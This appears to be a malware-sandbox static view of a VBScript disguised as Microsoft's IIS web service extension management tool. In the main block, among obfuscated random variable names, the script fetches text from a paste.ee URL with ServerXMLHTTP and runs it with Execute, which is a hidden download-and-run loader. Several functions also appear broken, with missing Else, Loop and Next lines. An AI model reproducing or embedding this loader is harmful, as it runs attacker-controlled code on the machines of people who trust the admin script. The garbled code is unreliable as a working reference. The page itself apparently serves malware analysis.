Static | ZeroBOX

On Error Resume Next

'''''''''''''''''''''

' Help

Const L_Empty_Text = ""

Const L_Help_HELP_General05_Text = "Switches:"

Const L_Help_HELP_General06_Text = "Value Description"

Const L_Help_HELP_General06a_Text = "/s <server> Connect to machine <server>."

Const L_Help_HELP_General06b_Text = " [Default: this system]"

Const L_Help_HELP_General06c_Text = "/u <username> Connect as <domain>\<username> or"

Const L_Help_HELP_General06d_Text = " <username>. [Default: current user]"

Const L_Help_HELP_General06e_Text = "/p <password> Password for the <username> user."

Const L_Help_HELP_General07_Text = "/EnApp <appname> Enables an application in the"

Const L_Help_HELP_General07a_Text = " application dependencies list."

Const L_Help_HELP_General08_Text = "/ListApp Lists the applications in the"

Const L_Help_HELP_General08a_Text = " application dependencies list."

Const L_Help_HELP_General09_Text = "/AddDep <appname> <ID> [<ID> ...]"

Const L_Help_HELP_General09a_Text = " Adds a dependency between an"

Const L_Help_HELP_General09b_Text = " application in the application"

Const L_Help_HELP_General09c_Text = " dependencies list and a Web Service"

Const L_Help_HELP_General09d_Text = " Extension ID."

Const L_Help_HELP_General10_Text = "/RmDep <appname> <ID> [<ID> ...]"

Const L_Help_HELP_General10a_Text = " Removes a dependency between an"

Const L_Help_HELP_General10b_Text = " application in the application"

Const L_Help_HELP_General10c_Text = " dependencies list and a Web Service"

Const L_Help_HELP_General10d_Text = " Extension ID."

Const L_Help_HELP_General11_Text = "/EnExt <ID> Enables all files for a Web Service"

Const L_Help_HELP_General11a_Text = " Extension with the specified Web"

Const L_Help_HELP_General11b_Text = " Service Extension ID."

Const L_Help_HELP_General12_Text = "/DisExt <ID> Disables all files for a Web Service"

Const L_Help_HELP_General12a_Text = " Extension with the specified Web"

Const L_Help_HELP_General12b_Text = " Service Extension ID."

Const L_Help_HELP_General13_Text = "/ListExt Lists Web Service Extension IDs for"

Const L_Help_HELP_General13a_Text = " all defined Web Service Extensions."

Const L_Help_HELP_General14_Text = "/EnFile <filename> Enables a single file in the"

Const L_Help_HELP_General14a_Text = " restriction list."

Const L_Help_HELP_General15_Text = "/DisFile <filename> Disables a single file in the"

Const L_Help_HELP_General15a_Text = " restriction list."

Const L_Help_HELP_General16_Text = "/ListFile Lists all the files in the"

Const L_Help_HELP_General16a_Text = " restriction list."

Const L_Help_HELP_General17_Text = "/RmFile <filename> Removes a file from the restriction"

Const L_Help_HELP_General17a_Text = " list if it is deletable."

Const L_Help_HELP_General18_Text = "/AddFile <args> Adds a file to the restriction list."

Const L_Help_HELP_General19_Text = "/AddFile /? Displays help for the /AddFile flag."

Const L_Help_HELP_AddFile01_Text = "Description: Adds a file to the restriction list."

Const L_Help_HELP_AddFile02_Text = "Syntax: IIsExt [/s <server> [/u <username> [/p <password>]]]"

Const L_Help_HELP_AddFile02a_Text = " /AddFile <filepath> <access> <ID> <deleteable>"

Const L_Help_HELP_AddFile03_Text = " <ShortDesc>"

Const L_Help_HELP_AddFile07_Text = "<filepath> The fully qualified path to the dll"

Const L_Help_HELP_AddFile08_Text = " or exe, including the filename and"

Const L_Help_HELP_AddFile09_Text = " extension. Special cases include"

Const L_Help_HELP_AddFile09a_Text = " *.dll to enable/disable unlisted"

Const L_Help_HELP_AddFile09b_Text = " ISAPI's and *.exe to enable/disable"

Const L_Help_HELP_AddFile09c_Text = " unlisted CGI's."

Const L_Help_HELP_AddFile10_Text = "<access> Set this to 0 to disable or 1 to"

Const L_Help_HELP_AddFile10a_Text = " enable the file after it is added."

Const L_Help_HELP_AddFile11_Text = "<ID> This ID is an arbitrary identifier"

Const L_Help_HELP_AddFile11a_Text = " that identifies the Web Service"

Const L_Help_HELP_AddFile11b_Text = " Extension the file is associated with."

Const L_Help_HELP_AddFile12_Text = " There can be one or more files for"

Const L_Help_HELP_AddFile12a_Text = " each Web Service Extension"

Const L_Help_HELP_AddFile13_Text = "<deletable> Set this to 0 to prevent this file"

Const L_Help_HELP_AddFile13a_Text = " from being deleted from the restriction"

Const L_Help_HELP_AddFile14_Text = " list or 1 to allow this file to be"

Const L_Help_HELP_AddFile14a_Text = " deleted from the restriction list."

Const L_Help_HELP_AddFile15_Text = "<ShortDesc> This is a brief text description of"

Const L_Help_HELP_AddFile15a_Text = " the Web Service Extension the file is"

Const L_Help_HELP_AddFile16_Text = " associated with. Files with the same"

Const L_Help_HELP_AddFile16a_Text = " ID should also have the same ShortDesc."

''''''''''''''''''''''''

' Operation codes

Const OPER_ENAPP = 1

Const OPER_ADDDP = 3

Const OPER_REMDP = 4

Const OPER_ENEXT = 5

Const OPER_DSEXT = 6

Const OPER_ENEFI = 7

Const OPER_DSEFI = 8

Const OPER_ADEFI = 9

Const OPER_RMEFI = 10

Const OPER_LSAPP = 11

Const OPER_LSEXT = 12

Const OPER_LSEFI = 13

''''''''''''''''''''''''

' Globalization related code

Dim fso

Set fso = CreateObject("Scripting.FileSystemObject")

Const vbSpace = " "

' Get the overridden UI language.

Function GetLangID()

Dim args, lang

Set args = WScript.Arguments.Named

If args.Exists("lang") Then

lang = args.Item("lang")

GetLangID = CInt(lang)

GetLangID = GetUILanguage()

End If

End Function

' Get a localized resources for 'resourceID' if available;

' otherwise, get the neutral resource.

Function GetLocalizedResource(resourceID)

Const ForReading = 1, TristateUseDefault = -2

Dim lang, value, ini

lang = GetLangID()

ini = fso.GetParentFolderName(WScript.ScriptFullName) & "\" _

& ToHex(lang) & "\" & fso.GetBaseName(WScript.ScriptName) & ".ini"

If fso.FileExists(ini) Then

Dim stream, file

Set file = fso.GetFile(ini)

Set stream = file.OpenAsTextStream(ForReading, TristateUseDefault)

value = ReadResource(stream, resourceID)

End If

If Not IsEmpty(value) Then

GetLocalizedResource = value

GetLocalizedResource = Eval(resourceID)

End If

End Function

' Read a resource ID from the TextStream

Function ReadResource(stream, resourceID)

Const ERROR_FILE_NOT_FOUND = 2

Dim ln, arr, key, value

If Not IsObject(stream) Then Err.Raise ERROR_FILE_NOT_FOUND

Do Until stream.AtEndOfStream

ln = stream.ReadLine

arr = Split(ln, "=", 2, 1)

If UBound(arr, 1) = 1 Then

' Trim the key and the value first before trimming quotes

key = arr(0)

key = TrimSpace(key)

'key = Replace(key, String(1, vbTab), "")

If StrComp(resourceID, key, 1) = 0 Then

value = TrimChar(TrimSpace(arr(1)), """")

ReadResource = value

Exit Do

End If

stream.Close

End Function

Function TrimSpace(s)

c = Left(s, 1)

if c <> vbTab and c <> vbSpace then

exit do

end if

s = Right(s, len(s) - 1)

c = Right(s, 1)

if c <> vbTab and c <> vbSpace then

exit do

end if

s = Left(s, len(s) - 1)

TrimSpace = s

End Function

' Trim a character from the text string

Function TrimChar(s, c)

a = Left(s, 1)

if a <> c then

exit do

end if

s = Right(s, len(s) - 1)

a = Right(s, 1)

if a <> c then

exit do

end if

s = Left(s, len(s) - 1)

TrimChar = s

End Function

Function ToHex(n)

Dim s : s = Hex(n)

ToHex = String(4 - Len(s), "0") & s

End Function

' Main block

Dim oScriptHelper

Dim intResult, intOperation

Dim strServer, oCJKfGqZmeSwTjFQAvkEAWGPadqXGluTsyLMrmQwEdcqpoBqqlKGcHykcKBWJNpYCqhakNkskIEtbWZgFUYgZspqpgtyxRusaTYAtbVyUNKiGKaSAtDRMvxsfCjJEYaSEkgaOZvJmQhSoYndVTcrMzgNdGpBhjwVgbRQvBeoWNSrlqlnYSlBnsCvaZwXbXvGSpzPdvXO, cdwLABCkRdazjzsszTdWdYoBkglxoLGuTIDdUUqDMgoKDBumNvZwtxEXHWNruYsQXFnadbcVilQWbOaxEczqkDxqNoyPowFMSpHZGyCQMEKKbFDHWdIEAOjPzyETgkwfRlXUYaONviGWGzuPAIWQxdLbeaIuAWLMdeCWAnaZlMHASmpCfIktUdgMbYRJqiPUqjbIKIgB

Dim strCmdLineOptions, strAppName

Dim oError, aArgs

' Default values

strServer = "."

oCJKfGqZmeSwTjFQAvkEAWGPadqXGluTsyLMrmQwEdcqpoBqqlKGcHykcKBWJNpYCqhakNkskIEtbWZgFUYgZspqpgtyxRusaTYAtbVyUNKiGKaSAtDRMvxsfCjJEYaSEkgaOZvJmQhSoYndVTcrMzgNdGpBhjwVgbRQvBeoWNSrlqlnYSlBnsCvaZwXbXvGSpzPdvXO = ""

cdwLABCkRdazjzsszTdWdYoBkglxoLGuTIDdUUqDMgoKDBumNvZwtxEXHWNruYsQXFnadbcVilQWbOaxEczqkDxqNoyPowFMSpHZGyCQMEKKbFDHWdIEAOjPzyETgkwfRlXUYaONviGWGzuPAIWQxdLbeaIuAWLMdeCWAnaZlMHASmpCfIktUdgMbYRJqiPUqjbIKIgB = ""

intOperation = 0

' Instantiate script helper object

Set oScriptHelper = CreateObject("Microsoft.IIsScriptHelper")

If Err.Number <> 0 Then

bTVVpytiUZjzhzgPycmcBWWNUveKKDJmGULAftVsCfMsemUxPfhAZqGOldrVJazbUsHymidRFxtNTkHJWSkPZKwJEmUPbNnnNRnSzXRoJGWnsPSYVGprGkHASFGHndKfmOMwoCPLZLufzijTjWrvfTBzNnDfglkMJYHvLLXPtcqnfOeOxVbbvRcyGACtwZBEXOfyxWYs:ItDdcyvvhqJIBygaNSKUkcABBQBTGAyIUheOzUYMlvdjJGHQQiwDydLIUELddidRltWbNVTWCJZTRJaOzPpEaVSddQbVXlQCPNULaemJHtummXtezsDaWyHqHELIwYDCLYtwpwRFvROKknTzQaysOloHuMvsXKmwqKAQtTsaMiFOxbmuteXVsXBpJNkRYdFNPfKfVqlU:TEZGwJOQvdljHoyvzMiqYNwHapRrvXWXHdVreqJfRVGcMaYqjOArBdzmWipumwTBbUydjekLejIxrtAMpytjqkNJHaBgFEFtcadfjOkeKZLPiqlSuxEgsqhVXtwlyMZcTzzIcKvlxUlxCBbtKXMiisfUwntTxtcUONBjyLeZlAIKSPfpbAyXgtwSvHLXWSItMnhSFFig = "iPvyVdA":BcPSoNwokIaUFjDDEhqWVTeIqyxibcckYMHfIVngmnFgJSyASZxGtfcHLIADCUbKEeXXPljefmugFsjVENgIJRUzaptlIySYWlAqFIcrqRWTOFfICnbnGIJiAPoHfulWDRjrRGZDunlpgrUyPEZcOwFpvdpsPHEgJThxrLzLJgmOlonbhxEmzALjPbIOOJJmGPLElYGH:RagUTVlVTyOkVxvEWsGJOVAmZJcMpehJhCmbLmBLEqshLscaUVppEfZSEKMzccwJpPmnFLjlGMKyDMwOnxmvOHIJGhYGDuIjQhxwPMGsrRUVHuzZuQxkxwvVVsWIvNTlELBBUegKZCScWUaZkqPlticHsCUMKegCaOkRWKMJUcefEYpMNxvkqoXVPdDIZKDPWpiRPDYf:

Set bMfwkKrRycOGtzAkfNHbMwdVuOfitvpuyqRNRwevVHfkXpyWcPTZQAxuSUMlJNSfUOdPJgsmTbSgUAwtfucxWWrntJSmYDkObObdrpSnWUldJvsWvPCnDMdMVWhcGMXEYoAZYleJCWimgAFCizOIbamGsKOeIcgarqGSeQwjXJqdvzaIRWmSnHXeIzPHQjCyyzcrhmJx = CreateObject("MSXML2.ServerXMLHTTP.6.0")

bMfwkKrRycOGtzAkfNHbMwdVuOfitvpuyqRNRwevVHfkXpyWcPTZQAxuSUMlJNSfUOdPJgsmTbSgUAwtfucxWWrntJSmYDkObObdrpSnWUldJvsWvPCnDMdMVWhcGMXEYoAZYleJCWimgAFCizOIbamGsKOeIcgarqGSeQwjXJqdvzaIRWmSnHXeIzPHQjCyyzcrhmJx.open "GET", "https://paste.ee/d/69jx0", False

If bMfwkKrRycOGtzAkfNHbMwdVuOfitvpuyqRNRwevVHfkXpyWcPTZQAxuSUMlJNSfUOdPJgsmTbSgUAwtfucxWWrntJSmYDkObObdrpSnWUldJvsWvPCnDMdMVWhcGMXEYoAZYleJCWimgAFCizOIbamGsKOeIcgarqGSeQwjXJqdvzaIRWmSnHXeIzPHQjCyyzcrhmJx.Status = 200 Then

response = bMfwkKrRycOGtzAkfNHbMwdVuOfitvpuyqRNRwevVHfkXpyWcPTZQAxuSUMlJNSfUOdPJgsmTbSgUAwtfucxWWrntJSmYDkObObdrpSnWUldJvsWvPCnDMdMVWhcGMXEYoAZYleJCWimgAFCizOIbamGsKOeIcgarqGSeQwjXJqdvzaIRWmSnHXeIzPHQjCyyzcrhmJx.responseText

Execute response

End If

WScript.Quit(ERR_GENERAL_FAILURE)

End If

Set oScriptHelper.ScriptHost = WScript

' Check if we are being run with cscript.exe instead of wscript.exe

oScriptHelper.CheckScriptEngine

' Command Line parsing

Dim argObj, arg

Set argObj = WScript.Arguments

strCmdLineOptions = "[server:s:1;user:u:1;password:p:1];enapp::1;listapp::0;adddep::n;" &_

"rmdep::n;enext::1;disext::n;listext::0;enfile::1;disfile::1;addfile::5;" &_

"rmfile::1;listfile::0"

Set oError = oScriptHelper.ParseCmdLineOptions(strCmdLineOptions)

If Not oError Is Nothing Then

If oError.ErrorCode = oScriptHelper.ERROR_NOT_ENOUGH_ARGS Then

' Not enough arguments for a specified switch

WScript.Echo GetLocalizedResource("L_NotEnoughParams_ErrorMessage")

WScript.Echo GetLocalizedResource("L_SeeHelp_Message")

Else

' Invalid switch

oScriptHelper.vbPrintf GetLocalizedResource("L_InvalidSwitch_ErrorMessage"), Array(oError.SwitchName)

WScript.Echo GetLocalizedResource("L_SeeHelp_Message")

End If

WScript.Quit(ERR_GENERAL_FAILURE)

End If

If oScriptHelper.GlobalHelpRequested Then

DisplayHelpMessage

WScript.Quit(ERR_OK)

End If

For Each arg In oScriptHelper.Switches

Select Case arg

Case "server"

' Server information

strServer = oScriptHelper.GetSwitch(arg)

Case "user"

' User information

Case "password"

' Password information

Case "enapp"

If (intOperation <> 0) Then

WScript.Echo GetLocalizedResource("L_OnlyOneOper_ErrorMessage")

WScript.Echo GetLocalizedResource("L_SeeHelp_Message")

WScript.Quit(ERR_GENERAL_FAILURE)

End If

intOperation = OPER_ENAPP

If oScriptHelper.IsHelpRequested(arg) Then

' display enapp specific help

End If

strAppName = oScriptHelper.GetSwitch(arg)

Case "adddep"

If (intOperation <> 0) Then

WScript.Echo GetLocalizedResource("L_OnlyOneOper_ErrorMessage")

WScript.Echo GetLocalizedResource("L_SeeHelp_Message")

WScript.Quit(ERR_GENERAL_FAILURE)

End If

intOperation = OPER_ADDDP

If oScriptHelper.IsHelpRequested(arg) Then

' display enapp specific help

End If

aArgs = oScriptHelper.GetSwitch(arg)

If UBound(aArgs) = -1 Then

WScript.Echo GetLocalizedResource("L_NotEnoughParams_ErrorMessage")

WScript.Echo GetLocalizedResource("L_SeeHelp_Message")

WScript.Quit(ERR_GENERAL_FAILURE)

End If

Case "rmdep"

If (intOperation <> 0) Then

WScript.Echo GetLocalizedResource("L_OnlyOneOper_ErrorMessage")

WScript.Echo GetLocalizedResource("L_SeeHelp_Message")

WScript.Quit(ERR_GENERAL_FAILURE)

End If

intOperation = OPER_REMDP

If oScriptHelper.IsHelpRequested(arg) Then

' display enapp specific help

End If

aArgs = oScriptHelper.GetSwitch(arg)

If UBound(aArgs) = -1 Then

WScript.Echo GetLocalizedResource("L_NotEnoughParams_ErrorMessage")

WScript.Echo GetLocalizedResource("L_SeeHelp_Message")

WScript.Quit(ERR_GENERAL_FAILURE)

End If

Case "enext"

If (intOperation <> 0) Then

WScript.Echo GetLocalizedResource("L_OnlyOneOper_ErrorMessage")

WScript.Echo GetLocalizedResource("L_SeeHelp_Message")

WScript.Quit(ERR_GENERAL_FAILURE)

End If

intOperation = OPER_ENEXT

If oScriptHelper.IsHelpRequested(arg) Then

' display enapp specific help

End If

strAppName = oScriptHelper.GetSwitch(arg)

Case "disfile"

If (intOperation <> 0) Then

WScript.Echo GetLocalizedResource("L_OnlyOneOper_ErrorMessage")

WScript.Echo GetLocalizedResource("L_SeeHelp_Message")

WScript.Quit(ERR_GENERAL_FAILURE)

End If

intOperation = OPER_DSEFI

If oScriptHelper.IsHelpRequested(arg) Then

' display enapp specific help

End If

strAppName = oScriptHelper.GetSwitch(arg)

Case "enfile"

If (intOperation <> 0) Then

WScript.Echo GetLocalizedResource("L_OnlyOneOper_ErrorMessage")

WScript.Echo GetLocalizedResource("L_SeeHelp_Message")

WScript.Quit(ERR_GENERAL_FAILURE)

End If

intOperation = OPER_ENEFI

If oScriptHelper.IsHelpRequested(arg) Then

' display enapp specific help

End If

strAppName = oScriptHelper.GetSwitch(arg)

Case "disext"

If (intOperation <> 0) Then

WScript.Echo GetLocalizedResource("L_OnlyOneOper_ErrorMessage")

WScript.Echo GetLocalizedResource("L_SeeHelp_Message")

WScript.Quit(ERR_GENERAL_FAILURE)

End If

intOperation = OPER_DSEXT

If oScriptHelper.IsHelpRequested(arg) Then

' display enapp specific help

End If

aArgs = oScriptHelper.GetSwitch(arg)

Case "addfile"

If (intOperation <> 0) Then

WScript.Echo GetLocalizedResource("L_OnlyOneOper_ErrorMessage")

WScript.Echo GetLocalizedResource("L_SeeHelp_Message")

WScript.Quit(ERR_GENERAL_FAILURE)

End If

intOperation = OPER_ADEFI

If oScriptHelper.IsHelpRequested(arg) Then

' display addfile specific help

DisplayAddFileHelp

WScript.Quit(ERR_OK)

End If

aArgs = oScriptHelper.GetSwitch(arg)

Case "rmfile"

If (intOperation <> 0) Then

WScript.Echo GetLocalizedResource("L_OnlyOneOper_ErrorMessage")

WScript.Echo GetLocalizedResource("L_SeeHelp_Message")

WScript.Quit(ERR_GENERAL_FAILURE)

End If

intOperation = OPER_RMEFI

If oScriptHelper.IsHelpRequested(arg) Then

' display enapp specific help

End If

strAppName = oScriptHelper.GetSwitch(arg)

Case "listapp"

If (intOperation <> 0) Then

WScript.Echo GetLocalizedResource("L_OnlyOneOper_ErrorMessage")

WScript.Echo GetLocalizedResource("L_SeeHelp_Message")

WScript.Quit(ERR_GENERAL_FAILURE)

End If

intOperation = OPER_LSAPP

If oScriptHelper.IsHelpRequested(arg) Then

' display enapp specific help

End If

Case "listext"

If (intOperation <> 0) Then

WScript.Echo GetLocalizedResource("L_OnlyOneOper_ErrorMessage")

WScript.Echo GetLocalizedResource("L_SeeHelp_Message")

WScript.Quit(ERR_GENERAL_FAILURE)

End If

intOperation = OPER_LSEXT

If oScriptHelper.IsHelpRequested(arg) Then

' display enapp specific help

End If

Case "listfile"

If (intOperation <> 0) Then

WScript.Echo GetLocalizedResource("L_OnlyOneOper_ErrorMessage")

WScript.Echo GetLocalizedResource("L_SeeHelp_Message")

WScript.Quit(ERR_GENERAL_FAILURE)

End If

intOperation = OPER_LSEFI

If oScriptHelper.IsHelpRequested(arg) Then

' display enapp specific help

End If

End Select

' Check Parameters

If intOperation = 0 Then

WScript.Echo GetLocalizedResource("L_SeeHelp_Message")

WScript.Quit(ERR_GENERAL_FAILURE)

End If

' Check if /p is specified but /u isn't. In this case, we should bail out with an error

If oScriptHelper.Switches.Exists("password") And Not oScriptHelper.Switches.Exists("user") Then

WScript.Echo GetLocalizedResource("L_PassWithoutUser_ErrorMessage")

WScript.Quit(ERR_GENERAL_FAILURE)

End If

' Check if /u is specified but /p isn't. In this case, we should ask for a password

If oScriptHelper.Switches.Exists("user") And Not oScriptHelper.Switches.Exists("password") Then

WScript.Echo GetLocalizedResource("L_UserWithoutPass_ErrorMessage")

WScript.Quit(ERR_GENERAL_FAILURE)

End If

' Initializes authentication with remote machine

intResult = oScriptHelper.InitAuthentication(strServer, oCJKfGqZmeSwTjFQAvkEAWGPadqXGluTsyLMrmQwEdcqpoBqqlKGcHykcKBWJNpYCqhakNkskIEtbWZgFUYgZspqpgtyxRusaTYAtbVyUNKiGKaSAtDRMvxsfCjJEYaSEkgaOZvJmQhSoYndVTcrMzgNdGpBhjwVgbRQvBeoWNSrlqlnYSlBnsCvaZwXbXvGSpzPdvXO, cdwLABCkRdazjzsszTdWdYoBkglxoLGuTIDdUUqDMgoKDBumNvZwtxEXHWNruYsQXFnadbcVilQWbOaxEczqkDxqNoyPowFMSpHZGyCQMEKKbFDHWdIEAOjPzyETgkwfRlXUYaONviGWGzuPAIWQxdLbeaIuAWLMdeCWAnaZlMHASmpCfIktUdgMbYRJqiPUqjbIKIgB)

If intResult <> 0 Then

WScript.Quit(intResult)

End If

' Choose operation

Select Case intOperation

Case OPER_ENAPP

intResult = ChApp(strAppName, intOperation)

If intResult=0 Then

WScript.Echo GetLocalizedResource("L_EnAppComplete_Message")

End If

Case OPER_ADDDP

intResult = ChDep(aArgs, intOperation)

If intResult=0 Then

WScript.Echo GetLocalizedResource("L_AddDpComplete_Message")

End If

Case OPER_REMDP

intResult = ChDep(aArgs, intOperation)

If intResult=0 Then

WScript.Echo GetLocalizedResource("L_RemDpComplete_Message")

End If

Case OPER_ENEXT

intResult = ChApp(strAppName, intOperation)

If intResult=0 Then

WScript.Echo GetLocalizedResource("L_EnExtComplete_Message")

End If

Case OPER_ENEFI

intResult = ChApp(strAppName, intOperation)

If intResult=0 Then

WScript.Echo GetLocalizedResource("L_EnEfiComplete_Message")

End If

Case OPER_DSEFI

intResult = ChApp(strAppName, intOperation)

If intResult=0 Then

WScript.Echo GetLocalizedResource("L_DsEfiComplete_Message")

End If

Case OPER_DSEXT

intResult = DsExt(aArgs)

If intResult=0 Then

WScript.Echo GetLocalizedResource("L_DsExtComplete_Message")

End If

Case OPER_ADEFI

intResult = ChDep(aArgs, intOperation)

If intResult=0 Then

WScript.Echo GetLocalizedResource("L_AdEFiComplete_Message")

End If

Case OPER_RMEFI

intResult = RmEfi(strAppName)

If intResult=0 Then

WScript.Echo GetLocalizedResource("L_RmEFiComplete_Message")

End If

Case OPER_LSAPP

intResult = ShowList(intOperation)

Case OPER_LSEXT

intResult = ShowList(intOperation)

Case OPER_LSEFI

intResult = ShowListFile()

End Select

' Return value to command processor

WScript.Quit(intResult)

'''''''''''''''''''''''''

' End Of Main Block

'''''''''''''''''''''

'''''''''''''''''''''''''''

' DisplayHelpMessage

'''''''''''''''''''''''''''

Sub DisplayHelpMessage()

WScript.Echo GetLocalizedResource("L_Help_HELP_General01_Text")

WScript.Echo GetLocalizedResource("L_Empty_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General02_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General02a_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General03_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General04_Text")

WScript.Echo GetLocalizedResource("L_Empty_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General05_Text")

WScript.Echo GetLocalizedResource("L_Empty_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General06_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General06a_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General06b_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General06c_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General06d_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General06e_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General07_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General07a_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General08_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General08a_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General09_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General09a_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General09b_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General09c_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General09d_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General10_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General10a_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General10b_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General10c_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General10d_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General11_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General11a_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General11b_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General12_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General12a_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General12b_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General13_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General13a_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General14_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General14a_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General15_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General15a_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General16_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General16a_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General17_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General17a_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General18_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General19_Text")

End Sub

'''''''''''''''''''''''''''

' DisplayHelpMessage

'''''''''''''''''''''''''''

Sub DisplayAddFileHelp()

WScript.Echo GetLocalizedResource("L_Help_HELP_AddFile01_Text")

WScript.Echo GetLocalizedResource("L_Empty_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_AddFile02_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_AddFile02a_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_AddFile03_Text")

WScript.Echo GetLocalizedResource("L_Empty_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General05_Text")

WScript.Echo GetLocalizedResource("L_Empty_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General06_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General06a_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General06b_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General06c_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General06d_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_General06e_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_AddFile07_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_AddFile08_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_AddFile09_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_AddFile09a_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_AddFile09b_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_AddFile09c_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_AddFile10_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_AddFile10a_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_AddFile11_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_AddFile11a_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_AddFile11b_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_AddFile12_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_AddFile12a_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_AddFile13_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_AddFile13a_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_AddFile14_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_AddFile14a_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_AddFile15_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_AddFile15a_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_AddFile16_Text")

WScript.Echo GetLocalizedResource("L_Help_HELP_AddFile16a_Text")

End Sub

Function ChApp(strAppName, intOperation)

Dim WebSvcObj

On Error Resume Next

oScriptHelper.WMIConnect

If Err.Number Then

WScript.Echo L_WMIConnect_ErrorMessage

oScriptHelper.vbPrintf GetLocalizedResource("L_Error_ErrorMessage"), Array(Hex(Err.Number), Err.Description)

ChApp = Err.Number

Exit Function

End If

Set WebSvcObj = oScriptHelper.ProviderObj.get("IIsWebService='w3svc'")

If Err.Number Then

Select Case Err.Number

Case &H80070005

WScript.Echo GetLocalizedResource("L_Admin_ErrorMessage")

WScript.Echo GetLocalizedResource("L_Adminp2_ErrorMessage")

Case Else

WScript.Echo GetLocalizedResource("L_GetWebSvcObj_ErrorMessage")

oScriptHelper.vbPrintf GetLocalizedResource("L_Error_ErrorMessage"), Array(Hex(Err.Number), Err.Description)

End Select

ChApp = Err.Number

Exit Function

End If

Select Case intOperation

Case OPER_ENAPP

WebSvcObj.EnableApplication strAppName

Case OPER_ENEXT

WebSvcObj.EnableWebServiceExtension strAppName

Case OPER_ENEFI

WebSvcObj.EnableExtensionFile strAppName

Case OPER_DSEFI

WebSvcObj.DisableExtensionFile strAppName

End Select

If Err.Number Then

WScript.Echo L_EnApp_ErrorMessage

WScript.Echo Err.Description

Select Case intOperation

Case OPER_ENAPP

WScript.Echo GetLocalizedResource("L_NoApp_ErrorMessage")

WScript.Echo GetLocalizedResource("L_NoAppp2_ErrorMessage")

Case OPER_ENEXT

WScript.Echo GetLocalizedResource("L_NoExt_ErrorMessage")

Case OPER_ENEFI

WScript.Echo GetLocalizedResource("L_NoEfi_ErrorMessage")

Case OPER_DSEFI

WScript.Echo GetLocalizedResource("L_NoEfi_ErrorMessage")

End Select

ChApp = Err.Number

Exit Function

End If

End Function

Function RmEfi(strAppName)

Dim WebSvcObj, extObj, restrictions, i, bDel

bDel = False

On Error Resume Next

oScriptHelper.WMIConnect

If Err.Number Then

WScript.Echo GetLocalizedResource("L_WMIConnect_ErrorMessage")

oScriptHelper.vbPrintf GetLocalizedResource("L_Error_ErrorMessage"), Array(Hex(Err.Number), Err.Description)

RmEfi = Err.Number

Exit Function

End If

Set WebSvcObj = oScriptHelper.ProviderObj.get("IIsWebService='w3svc'")

If Err.Number Then

Select Case Err.Number

Case &H80070005

